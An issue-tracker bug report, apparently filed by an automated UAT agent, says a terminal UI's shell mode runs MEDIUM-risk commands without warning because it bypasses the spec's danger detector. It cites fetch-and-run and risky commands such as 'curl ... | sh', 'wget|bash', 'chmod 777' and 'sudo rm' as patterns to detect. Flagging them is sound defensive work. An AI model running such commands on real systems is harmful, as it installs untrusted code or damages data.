UAT: TUI shell mode ignores MEDIUM danger patterns from shell safety spec #7964

Open
opened 2026-04-12 16:11:06 +00:00 by HAL9000 · 0 comments
Owner

Summary

  • TUI shell mode is supposed to enforce the specification’s LOW/MEDIUM/HIGH/CRITICAL danger classification.
  • The live code path only uses looks_dangerous, which knows about a handful of CRITICAL commands and misses every MEDIUM pattern such as curl|sh or chmod 777 documented in the spec.
  • As a result those commands execute without any warning or confirmation.

Steps to Reproduce

  1. Open a Python shell inside the repository.
  2. Run:
    from cleveragents.tui.shell_safety.pattern_detector import DangerousPatternDetector
    from cleveragents.tui.input.shell_exec import looks_dangerous
    
    cmd = "curl http://example.com/install.sh | sh"
    detector = DangerousPatternDetector()
    print(detector.max_danger_level(cmd))  # -> ShellDangerLevel.MEDIUM
    print(looks_dangerous(cmd))            # -> False (no warning)
    
  3. The TUI prompt uses looks_dangerous via run_shell_command, so entering !curl http://example.com/install.sh | sh runs the pipe with no prompt.

Expected Result

Commands that match any pattern enumerated in tui_shell_danger_detection.feature (including MEDIUM severity curl|sh, wget|bash, chmod 777, sudo rm, etc.) should be classified and blocked unless the user explicitly confirms.

Actual Result

Only the five hard-coded strings inside looks_dangerous are blocked. All MEDIUM and LOW patterns from the spec go straight through the shell executor and run immediately.

Additional Notes

  • cleveragents.tui.input.shell_exec.run_shell_command never instantiates ShellSafetyService or DangerousPatternDetector; it only calls looks_dangerous.
  • The specification covers these scenarios in features/tui_shell_danger_detection.feature ("Detector detects curl piped to sh as MEDIUM", "Detector detects chmod 777 as MEDIUM", etc.), but the runtime path ignores them.
  • Commit: 99f575f6cf.

Environment

  • cleveragents/cleveragents-core @ 99f575f6cf
  • TUI UAT worker environment

Automated by CleverAgents Bot
Supervisor: UAT Testing | Agent: uat-tester

## Summary - TUI shell mode is supposed to enforce the specification’s LOW/MEDIUM/HIGH/CRITICAL danger classification. - The live code path only uses `looks_dangerous`, which knows about a handful of CRITICAL commands and misses every MEDIUM pattern such as `curl|sh` or `chmod 777` documented in the spec. - As a result those commands execute without any warning or confirmation. ## Steps to Reproduce 1. Open a Python shell inside the repository. 2. Run: ```python from cleveragents.tui.shell_safety.pattern_detector import DangerousPatternDetector from cleveragents.tui.input.shell_exec import looks_dangerous cmd = "curl http://example.com/install.sh | sh" detector = DangerousPatternDetector() print(detector.max_danger_level(cmd)) # -> ShellDangerLevel.MEDIUM print(looks_dangerous(cmd)) # -> False (no warning) ``` 3. The TUI prompt uses `looks_dangerous` via `run_shell_command`, so entering `!curl http://example.com/install.sh | sh` runs the pipe with no prompt. ## Expected Result Commands that match any pattern enumerated in `tui_shell_danger_detection.feature` (including MEDIUM severity `curl|sh`, `wget|bash`, `chmod 777`, `sudo rm`, etc.) should be classified and blocked unless the user explicitly confirms. ## Actual Result Only the five hard-coded strings inside `looks_dangerous` are blocked. All MEDIUM and LOW patterns from the spec go straight through the shell executor and run immediately. ## Additional Notes - `cleveragents.tui.input.shell_exec.run_shell_command` never instantiates `ShellSafetyService` or `DangerousPatternDetector`; it only calls `looks_dangerous`. - The specification covers these scenarios in `features/tui_shell_danger_detection.feature` ("Detector detects curl piped to sh as MEDIUM", "Detector detects chmod 777 as MEDIUM", etc.), but the runtime path ignores them. - Commit: 99f575f6cf52bfa35f1974ee5bc5b4fc07e74cf7. ## Environment - cleveragents/cleveragents-core @ 99f575f6cf52bfa35f1974ee5bc5b4fc07e74cf7 - TUI UAT worker environment --- **Automated by CleverAgents Bot** Supervisor: UAT Testing | Agent: uat-tester
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
cleveragents/cleveragents-core#7964
No description provided.